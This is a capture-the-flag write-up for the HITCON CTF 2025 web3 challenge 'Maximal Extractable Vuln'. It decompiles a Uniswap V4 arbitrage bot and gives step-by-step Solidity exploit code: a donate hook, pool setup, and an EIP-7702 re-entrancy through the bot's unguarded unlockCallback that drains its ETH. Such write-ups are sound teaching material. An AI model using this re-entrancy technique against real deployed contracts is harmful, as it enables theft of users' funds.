HITCON CTF 2025 - Maximal Extractable Vuln

HITCON CTF 2025 - Maximal Extractable Vuln

Ching367436 竹狐隊長

Maximal Extractable Vuln - web3

Challenge Description

A newly deployed, simple Uniswap V4 arbitrage contract has been identified 🤖

Walkthrough

In Setup.sol, we need to ensure that BOT_ADDR.balance == 0 && PLAYER_ADR.balance >= DEPOSIT to solve the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.30;

contract Setup {
uint256 constant DEPOSIT = 1000 ether;
address public immutable PLAYER_ADR;
address public immutable BOT_ADDR;

constructor(address playerAddr) payable {
require(msg.value == DEPOSIT, "Invalid initial balance");
PLAYER_ADR = playerAddr;

// Since this is an arbitrage contract for a MEV bot, including the source wouldn't make sense, but it's super simple. BYTECODE IS LAW ;p
bytes memory bytecode =
hex"608060405260015f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111f0806100655f395ff3fe608060405260043610610058575f3560e01c806309c5eabe1461006357806351cff8d91461007f57806353d6fd59146100a757806362308e85146100cf57806391dd7346146100f95780639b19251a146101355761005f565b3661005f57005b5f5ffd5b61007d600480360381019061007891906107b1565b610171565b005b34801561008a575f5ffd5b506100a560048036038101906100a09190610856565b610334565b005b3480156100b2575f5ffd5b506100cd60048036038101906100c891906108b6565b610468565b005b3480156100da575f5ffd5b506100e3610547565b6040516100f0919061094f565b60405180910390f35b348015610104575f5ffd5b5061011f600480360381019061011a91906107b1565b61055a565b60405161012c91906109d8565b60405180910390f35b348015610140575f5ffd5b5061015b60048036038101906101569190610856565b610723565b6040516101689190610a07565b60405180910390f35b60015f5f6101000a815c8160ff021916908315150217905d505f4790506e04444c5dc75cb358380d2e3de08a9073ffffffffffffffffffffffffffffffffffffffff166348c8949184846040518363ffffffff1660e01b81526004016101d8929190610a5a565b5f604051808303815f875af11580156101f3573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f8201168201806040525081019061021b9190610b96565b505f81476102299190610c13565b90505f811161026d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026490610ca0565b60405180910390fd5b5f3273ffffffffffffffffffffffffffffffffffffffff168260405161029290610ceb565b5f6040518083038185875af1925050503d805f81146102cc576040519150601f19603f3d011682016040523d82523d5f602084013e6102d1565b606091505b5050905080610315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030c90610d49565b60405180910390fd5b5f5f5f6101000a815c8160ff021916908315150217905d505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b390610db1565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff16476040516103e190610ceb565b5f6040518083038185875af1925050503d805f811461041b576040519150601f19603f3d011682016040523d82523d5f602084013e610420565b606091505b5050905080610464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045b90610d49565b60405180910390fd5b5050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166104f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790610db1565b60405180910390fd5b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6e04444c5dc75cb358380d2e3de08a9081565b60605f5f905c906101000a900460ff166105a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a090610e19565b60405180910390fd5b5f83838101906105b99190611087565b90505f5f90505b815181101561070a575f6e04444c5dc75cb358380d2e3de08a9073ffffffffffffffffffffffffffffffffffffffff16838381518110610603576106026110ce565b5b602002602001015160200151848481518110610622576106216110ce565b5b60200260200101515f01518585815181106106405761063f6110ce565b5b60200260200101516040015160405160200161065d92919061114b565b6040516020818303038152906040526040516106799190611172565b5f6040518083038185875af1925050503d805f81146106b3576040519150601f19603f3d011682016040523d82523d5f602084013e6106b8565b606091505b50509050806106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f3906111d2565b60405180910390fd5b5080806001019150506105c0565b5060405180602001604052805f81525091505092915050565b5f602052805f5260405f205f915054906101000a900460ff1681565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261077157610770610750565b5b8235905067ffffffffffffffff81111561078e5761078d610754565b5b6020830191508360018202830111156107aa576107a9610758565b5b9250929050565b5f5f602083850312156107c7576107c6610748565b5b5f83013567ffffffffffffffff8111156107e4576107e361074c565b5b6107f08582860161075c565b92509250509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610825826107fc565b9050919050565b6108358161081b565b811461083f575f5ffd5b50565b5f813590506108508161082c565b92915050565b5f6020828403121561086b5761086a610748565b5b5f61087884828501610842565b91505092915050565b5f8115159050919050565b61089581610881565b811461089f575f5ffd5b50565b5f813590506108b08161088c565b92915050565b5f5f604083850312156108cc576108cb610748565b5b5f6108d985828601610842565b92505060206108ea858286016108a2565b9150509250929050565b5f819050919050565b5f61091761091261090d846107fc565b6108f4565b6107fc565b9050919050565b5f610928826108fd565b9050919050565b5f6109398261091e565b9050919050565b6109498161092f565b82525050565b5f6020820190506109625f830184610940565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6109aa82610968565b6109b48185610972565b93506109c4818560208601610982565b6109cd81610990565b840191505092915050565b5f6020820190508181035f8301526109f081846109a0565b905092915050565b610a0181610881565b82525050565b5f602082019050610a1a5f8301846109f8565b92915050565b828183375f83830152505050565b5f610a398385610972565b9350610a46838584610a20565b610a4f83610990565b840190509392505050565b5f6020820190508181035f830152610a73818486610a2e565b90509392505050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ab682610990565b810181811067ffffffffffffffff82111715610ad557610ad4610a80565b5b80604052505050565b5f610ae761073f565b9050610af38282610aad565b919050565b5f67ffffffffffffffff821115610b1257610b11610a80565b5b610b1b82610990565b9050602081019050919050565b5f610b3a610b3584610af8565b610ade565b905082815260208101848484011115610b5657610b55610a7c565b5b610b61848285610982565b509392505050565b5f82601f830112610b7d57610b7c610750565b5b8151610b8d848260208601610b28565b91505092915050565b5f60208284031215610bab57610baa610748565b5b5f82015167ffffffffffffffff811115610bc857610bc761074c565b5b610bd484828501610b69565b91505092915050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c1d82610bdd565b9150610c2883610bdd565b9250828203905081811115610c4057610c3f610be6565b5b92915050565b5f82825260208201905092915050565b7f4e6f2070726f666974206d6164650000000000000000000000000000000000005f82015250565b5f610c8a600e83610c46565b9150610c9582610c56565b602082019050919050565b5f6020820190508181035f830152610cb781610c7e565b9050919050565b5f81905092915050565b50565b5f610cd65f83610cbe565b9150610ce182610cc8565b5f82019050919050565b5f610cf582610ccb565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f610d33600f83610c46565b9150610d3e82610cff565b602082019050919050565b5f6020820190508181035f830152610d6081610d27565b9050919050565b7f4e6f742077686974656c697374656400000000000000000000000000000000005f82015250565b5f610d9b600f83610c46565b9150610da682610d67565b602082019050919050565b5f6020820190508181035f830152610dc881610d8f565b9050919050565b7f4e6f7420657865637574696e67000000000000000000000000000000000000005f82015250565b5f610e03600d83610c46565b9150610e0e82610dcf565b602082019050919050565b5f6020820190508181035f830152610e3081610df7565b9050919050565b5f67ffffffffffffffff821115610e5157610e50610a80565b5b602082029050602081019050919050565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610e9e81610e6a565b8114610ea8575f5ffd5b50565b5f81359050610eb981610e95565b92915050565b610ec881610bdd565b8114610ed2575f5ffd5b50565b5f81359050610ee381610ebf565b92915050565b5f610efb610ef684610af8565b610ade565b905082815260208101848484011115610f1757610f16610a7c565b5b610f22848285610a20565b509392505050565b5f82601f830112610f3e57610f3d610750565b5b8135610f4e848260208601610ee9565b91505092915050565b5f60608284031215610f6c57610f6b610e62565b5b610f766060610ade565b90505f610f8584828501610eab565b5f830152506020610f9884828501610ed5565b602083015250604082013567ffffffffffffffff811115610fbc57610fbb610e66565b5b610fc884828501610f2a565b60408301525092915050565b5f610fe6610fe184610e37565b610ade565b9050808382526020820190506020840283018581111561100957611008610758565b5b835b8181101561105057803567ffffffffffffffff81111561102e5761102d610750565b5b80860161103b8982610f57565b8552602085019450505060208101905061100b565b5050509392505050565b5f82601f83011261106e5761106d610750565b5b813561107e848260208601610fd4565b91505092915050565b5f6020828403121561109c5761109b610748565b5b5f82013567ffffffffffffffff8111156110b9576110b861074c565b5b6110c58482850161105a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b61111561111082610e6a565b6110fb565b82525050565b5f61112582610968565b61112f8185610cbe565b935061113f818560208601610982565b80840191505092915050565b5f6111568285611104565b600482019150611166828461111b565b91508190509392505050565b5f61117d828461111b565b915081905092915050565b7f43616c6c6261636b20657865637574696f6e206661696c6564000000000000005f82015250565b5f6111bc601983610c46565b91506111c782611188565b602082019050919050565b5f6020820190508181035f8301526111e9816111b0565b905091905056";
address addr;
assembly {
addr := create(DEPOSIT, add(bytecode, 0x20), mload(bytecode))
}
BOT_ADDR = addr;
}

function isSolved() external view returns (bool) {
return BOT_ADDR.balance == 0 && PLAYER_ADR.balance >= DEPOSIT;
}
}

The code at the BOT_ADDR is deployed using bytecode that lacks source code. Therefore, I use Dedaub to decompile it.

The contract main function is to arbitrage the Uniswap V4 PoolManager on the mainnet. Therefore, it has a unlockCallback(bytes rawData).

To run the function, it requires uint8(STORAGE[0]) to be true (transient storage). It does not have any other access control. The Uniswap docs says “Always implement proper access control in your unlock callback. Only the PoolManager should be able to call it.”. Therefore, it’s very suspicious here. Let’s investigate how to make uint8(STORAGE[0]) true.

1
2
3
4
5
6
function unlockCallback(bytes rawData) public nonPayable { 
// [...]
require(uint8(STORAGE[0]), Error('Not executing'));
// [Call PoolManager with (selector, value, args) from rawData]
// [...]
}

The only place that make STORAGE[0] == 1 (transient storage) is at the beginning of the execute function. But STORAGE[0] be reset to 0 after the execute function ends. Therefore, we can only call the unlockCallback when the execute function is executing.

Note that tx.origin will be called if the BOT contract earn some ether. Therefore, we have a re-entrancy vulnerability here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function execute(bytes data) public payable { 
// [...]
STORAGE[0] = 0x1 | bytes31(STORAGE[0]);

v0 = this.balance;
// [...]
v2, /* uint256 */ v3 = address(0x4444c5dc75cb358380d2e3de08a90).unlock(v1).gas(msg.gas);
v6 = _SafeSub(this.balance, v0);
require(v6 > 0, Error('No profit made'));

v7, /* uint256 */ v8 = address(tx.origin)
.call()
.value(v6)
.gas(msg.gas);
require(v7, Error('Transfer failed'));
STORAGE[0] = 0x0 | bytes31(STORAGE[0]);
}

Now, our plan is as follows:

  1. Use the execute to earn some ETH from UniswapV4 PoolManager
  2. When execute calles tx.origin, re-enter the unlockCallback function using the code at our tx.origin (We can use EIP-7702 to deploy code to an EOA)
  3. In unlockCallback, dump all the ETH to the UniswapV4 PoolManager and get it out to our address

1. Use the execute to earn some ETH from UniswapV4 PoolManager

In this step, I wrote a donate hook that will give the BOT ethers after someone donates to the pool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
contract DonateHook is BaseHook {
using PoolIdLibrary for PoolKey;

bool shouldGiveSomeProfitAfterDonate = true;
address payable public immutable BOT_ADDR = payable(0x0DdE25e9079e7590C61Cafb693176a0349209a02);

constructor(IPoolManager _poolManager) payable BaseHook(_poolManager) {}

function _afterDonate(address, PoolKey calldata, uint256, uint256, bytes calldata)
internal
override
returns (bytes4)
{
if (shouldGiveSomeProfitAfterDonate) BOT_ADDR.call{value: 1}("");
shouldGiveSomeProfitAfterDonate = false;
return BaseHook.afterDonate.selector;
}

function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
return Hooks.Permissions({
beforeInitialize: false,
afterInitialize: false,
beforeAddLiquidity: false,
afterAddLiquidity: false,
beforeRemoveLiquidity: true,
afterRemoveLiquidity: true,
beforeSwap: false,
afterSwap: false,
beforeDonate: true,
afterDonate: true,
beforeSwapReturnDelta: false,
afterSwapReturnDelta: false,
afterAddLiquidityReturnDelta: false,
afterRemoveLiquidityReturnDelta: true
});
}
// [...]
}

Note that our address of the hook function should have the correct address in order to be invoked.

V4 decides whether to invoke specific hooks by inspecting the least significant bits of the address that the hooks contract is deployed to. For example, a hooks contract deployed to address: 0x0000000000000000000000000000000000002400 has the lowest bits ‘10 0100 0000 0000’ which would cause the ‘before initialize’ and ‘after add liquidity’ hooks to be used. See the Hooks library for the full spec.

After deploying the hook, we deploy our own pool to the PoolManager.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
MyToken token = new MyToken();
token.mint(address(this), 1e10 * 1e18);

// https://docs.uniswap.org/contracts/v4/quickstart/create-pool
// 1.1 Initialize the parameters provided to multicall()
bytes[] memory params = new bytes[](2);

// 1.2 Configure the pool
// https://docs.uniswap.org/contracts/v4/reference/core/types/Currency
Currency currency1 = Currency.wrap(address(token));
poolKey = PoolKey({
currency0: CurrencyLibrary.ADDRESS_ZERO,
currency1: currency1,
// lpFee is the fee expressed in pips, i.e. 1000 = 0.10%
fee: 1000000,
tickSpacing: 1,
hooks: IHooks(donateHook)
});


// 1.3. Encode the initializePool parameters
/*
IPoolManager(POOL_MANAGER_ADDRESS).initialize(poolKey, startingPrice);
*/
uint160 startingPrice = uint160(79228162514264337593543950336);
params[0] = abi.encodeWithSelector(
IPoolInitializer_v4.initializePool.selector,
poolKey,
startingPrice
);


// 1.4. Initialize the mint-liquidity parameters
bytes memory actions = abi.encodePacked(uint8(Actions.MINT_POSITION), uint8(Actions.SETTLE_PAIR));


// 1.5. Encode the MINT_POSITION parameters
bytes[] memory mintParams = new bytes[](2);
// mintParams[0] = abi.encode(poolKey, tickLower, tickUpper, liquidity, amount0Max, amount1Max, recipient, hookData);
mintParams[0] = abi.encode(poolKey, 0, 1000, 1e16, type(uint256).max, type(uint256).max, payable(this), "");

// 1.6. Encode the SETTLE_PAIR parameters
mintParams[1] = abi.encode(poolKey.currency0, poolKey.currency1);

// 1.7. Encode the modifyLiquidites call
uint256 deadline = type(uint256).max;
params[1] = abi.encodeWithSelector(
PositionManager(posm).modifyLiquidities.selector, abi.encode(actions, mintParams), deadline
);

// 1.8.1 Deploy permit2
Permit2 permit2 = Permit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);

// 1.8.2 Approve the tokens
token.approve(address(permit2), type(uint256).max);
IAllowanceTransfer(address(permit2)).approve(address(token), posm, type(uint160).max, type(uint48).max);

// 1.8.3.check
// mapping(address => mapping(address => mapping(address => PackedAllowance))) public allowance
// console log the allowance of allowance[address(this)][address(token)][POOL_MANAGER_ADDRESS]
(uint160 amount, uint48 expiration, uint48 nonce) = permit2.allowance(address(this), address(token), POOL_MANAGER_ADDRESS);

// 1.9. Execute the multicall
uint256 ethToSend = 0.01 ether;
PositionManager(posm).multicall{value: ethToSend}(params);

Next, we call BOT.execute and make the BOT some profit using PoolManager.donate. Then the bot will call tx.origin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 5. Call bot.execute
Element[] memory elements = new Element[](1);
// donate(bytes,uint256,uint256,bytes)
bytes memory args = abi.encode(
poolKey,
0, // amount0
0, // amount1
abi.encodePacked(uint256(0xdeadbeef)) // data for donate hook, not used here
);
elements[0] = Element({
selector: IPoolManager.donate.selector,
value: 0,
args: args
});

bytes memory data = abi.encode(elements);
(bool success, ) = BOT.call(
abi.encodeWithSignature("execute(bytes)", data)
);
require(success, "execute(bytes)");

When execute calles tx.origin, re-enter the unlockCallback function using the code at our tx.origin (We can use EIP-7702 to deploy code to an EOA)

When the bot calles tx.origin, it triggers our receive function. To do something with the UniswapV4 PoolManager, we must unlock it first. It PoolManager will then call our unlockCallback.

1
2
3
4
5
6
receive() external payable {
// unlock the pool
// if value is 1000 ether
if (msg.value != 1000 ether)
IPoolManager(POOL_MANAGER_ADDRESS).unlock("");
}

In our unlockCallback, we call BOT.unlockCallback to drain all the ether from the BOT. We use BOT.unlockCallback to invoke PoolManager.settleFor(PLAYER_ADDR). Then, we use PoolManager.take to withdraw the ethers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function unlockCallback(bytes calldata data) external returns (bytes memory) {
Element[] memory elements = new Element[](1);
// settleFor(address)
bytes memory args = abi.encode(
address(this)
);
elements[0] = Element({
selector: IPoolManager.settleFor.selector,
value: 1000 ether,
args: args
});

bytes memory data = abi.encode(elements);
(bool success, ) = BOT.call(
abi.encodeWithSignature("unlockCallback(bytes)", data)
);
require(success, "unlockCallback(bytes)");

IPoolManager poolManager = IPoolManager(POOL_MANAGER_ADDRESS);
poolManager.take(poolKey.currency0, address(this), 1000 ether);
}

After solving the challenge, we got a link to a video.

1
hitcon{https://www.youtube.com/watch?v=yRgHFh7H6UQ}
  • Title: HITCON CTF 2025 - Maximal Extractable Vuln
  • Author: Ching367436
  • Created at : 2025-08-30 20:02:31
  • Link: https://blog.ching367436.me/hitcon-ctf-2025-maximal-extractable-vuln/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments